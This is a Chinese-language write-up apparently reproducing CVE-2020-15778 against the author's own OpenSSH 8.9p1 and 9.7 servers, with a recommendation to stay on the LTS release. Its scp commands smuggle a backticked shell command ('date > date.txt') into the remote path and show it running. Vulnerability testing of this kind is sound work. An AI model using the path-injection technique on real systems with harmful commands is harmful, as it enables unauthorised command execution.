Openssh命令注入漏洞
OpenSSH CVE-2020-15778 漏洞 #
复现这个漏洞需要有服务器凭证,如果没有服务器凭证,攻击者无法利用这个漏洞。即使升级到OpenSSH 9.7,CVE-2020-15778的命令注入漏洞依然存在。扫描结果显示没有其他安全漏洞存在,保留长期支持(LTS)版本OpenSSH 8.9是可行的。由于CVE-2020-15778漏洞仍然未被修复,更新到更新的OpenSSH版本并不能修复该命令注入漏洞,反而由于不是LTS版本,可能增加潜在的风险。
漏洞复现 #
测试环境 #
- LTS 版本(OpenSSHv8.9p1):运行在端口22
- 最新版本(OpenSSHv9.7):临时运行在端口8000
测试22端口的OpenSSHv8.9p1服务 #
连接命令 #
在本地电脑使用以下命令连接到运行在22端口的OpenSSH服务:
ssh lzl@服务器ip -p 22 -i ~/.ssh/container -v
参数说明 #
-p 22:指定连接的端口号为22。-i ~/.ssh/container:指定使用的SSH密钥文件路径。-v:启用详细模式,打印连接过程中的详细信息。
在debug信息中可以看到
debug1: Local version string SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
debug1: Remote protocol version 2.0, remote software version OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
debug1: match: OpenSSH_8.9p1 Ubuntu-3ubuntu0.7 pat OpenSSH* compat 0x04000000
debug1: Authenticating to 服务器ip:22 as 'lzl'
...
...
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-107-generic x86_64)
这表明服务器22端口运行的是OpenSSH_8.9p1版本。
scp漏洞复现 #
exit命令断开当前连接,在本地电脑使用以下命令将 log.txt 文件通过 SCP 传输到远程服务器,并尝试命令注入漏洞:
(base) ➜ ~ exit
scp -i ~/.ssh/container -P 22 log.txt lzl@服务器ip:'`date > date.txt`/home/lzl/'
log.txt 100% 370 697.8KB/s 00:00
参数说明 #
-P 22:指定连接的端口号为22。-i ~/.ssh/container:指定使用的SSH密钥文件路径。log.txt:本地要传输的文件。lzl@服务器ip:远程服务器用户名和地址。- ‘`date > date.txt`/home/lzl/’:尝试在文件路径中插入命令 date > date.txt,测试命令注入漏洞。结果仅显示文件传输成功
检查文件 #
在远程服务器上,检查文件是否成功传输,并验证 date.txt 文件是否存在。
(base) ➜ ~ ls /home/lzl | grep txt
date.txt
log.txt
(base) ➜ ~ cat /home/lzl/date.txt
Fri May 24 12:23:10 PM CST 2024
(base) ➜ ~
从输出中可以看到:
- log.txt 文件成功传输到 /home/lzl/ 目录。
- date.txt 文件存在,并包含了命令 date 的输出。
这表明22端口上运行的OpenSSH服务存在命令注入漏洞。
测试8000端口的OpenSSHv9.7服务 #
连接命令 #
服务器在8000端口临时启动一个sshd服务后,在本地电脑使用以下命令连接到运行在8000端口的OpenSSH服务:
ssh lzl@服务器ip -p 8000 -i ~/.ssh/container -v
在debug信息中可以看到
debug1: Local version string SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
debug1: Remote protocol version 2.0, remote software version OpenSSH_9.7
debug1: match: OpenSSH_9.7 pat OpenSSH* compat 0x04000000
debug1: Authenticating to 服务器ip:8000 as 'lzl'
...
...
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-107-generic x86_64)
这表明服务器8000端口运行的是OpenSSH_9.7版本。
scp漏洞复现 #
exit命令断开当前连接,在本地电脑使用以下命令将 log.txt 文件通过 SCP 传输到远程服务器,并尝试命令注入漏洞:
(base) ➜ ~ scp -i ~/.ssh/container -P 8000 log.txt lzl@服务器ip:'`date > date_8000.txt`/home/lzl/'
log.txt 100% 370 615.9KB/s 00:00
结果仅显示文件传输成功
检查文件 #
在远程服务器上,检查文件是否成功传输,并验证 date_8000.txt 文件是否存在。
(base) ➜ ~ ls /home/lzl | grep txt
date_8000.txt
date.txt
log.txt
(base) ➜ ~ cat date_8000.txt
Fri May 24 12:28:08 CST 2024
(base) ➜ ~
结果显示date_8000.txt 文件存在,并包含了命令 date 的输出。
这表明8000端口上运行的OpenSSHv9.7服务也存在命令注入漏洞。
结论 #
通过以上测试可以得出结论:
- 服务器22端口上运行的OpenSSH_8.9p1版本存在命令注入漏洞。
- 服务器8000端口上运行的OpenSSH_9.7版本也存在命令注入漏洞。
因此,升级到最新的OpenSSH版本(9.7)并不能修复该命令注入漏洞,反而由于不是LTS版本,可能增加潜在的风险。基于以上测试结果,建议继续使用LTS版本的OpenSSH,并等待漏洞修复后再考虑升级。